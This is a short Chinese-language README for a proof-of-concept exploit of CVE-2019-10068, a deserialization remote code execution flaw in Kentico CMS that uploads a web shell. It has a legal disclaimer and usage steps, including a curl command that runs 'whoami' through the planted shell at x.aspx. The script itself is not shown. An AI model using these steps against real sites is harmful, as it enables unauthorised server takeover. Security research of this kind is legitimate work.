CVE-2019-10068 Kentico CMS 的 PoC

针对 CVE-2019-10068 的概念验证漏洞利用，利用 Kentico CMS 中的反序列化 RCE 漏洞上传 Web Shell。

法律免责声明： 本概念验证仅供教育和授权安全研究之用。作者不对因使用此代码而造成的任何滥用或损害负责，请仅在您拥有或已获得明确测试许可的系统上使用，并确保遵守所有适用法律。

---

使用方法

1. 在第 9 行修改脚本，填入目标系统的 URL（格式为 https://target.com）。
2. 在终端中运行脚本：python3 cve-2019-10068-poc.py。
3. 在目标上验证 Web Shell：curl https://target.com/x.aspx?c=whoami。

---

祝您攻击愉快！